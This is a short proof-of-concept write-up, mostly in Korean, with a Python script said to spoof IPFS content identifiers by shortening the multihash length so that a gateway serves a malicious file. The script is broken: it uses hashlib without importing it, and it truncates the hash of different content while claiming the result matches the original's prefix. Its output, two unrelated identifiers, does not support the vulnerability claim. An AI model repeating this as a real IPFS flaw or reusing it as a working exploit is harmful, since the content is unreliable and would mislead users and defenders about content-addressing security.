
multihash 길이 확장을 통한 IPFS CID 스푸핑을 시연하는 Python 개념 증명(PoC)으로, IPFS 게이트웨이를 오염시킬 수 있는 콘텐츠 주소 지정 검증 결함을 강조합니다.
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
IPFS 구현체는 해시 자체가 전체 콘텐츠와 일치하는지 검증하지 않은 채 CID의 멀티해시에 있는 길이 필드를 신뢰합니다. 공격자는 잘린 해시가 정상 파일 해시의 접두사와 일치하는 파일을 생성하고, 동일한 CID로 악성 파일을 제공할 수 있습니다.
스크립트를 실행합니다:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
이 스크립트는 스푸핑된 CID가 생성될 수 있음을 보여줍니다.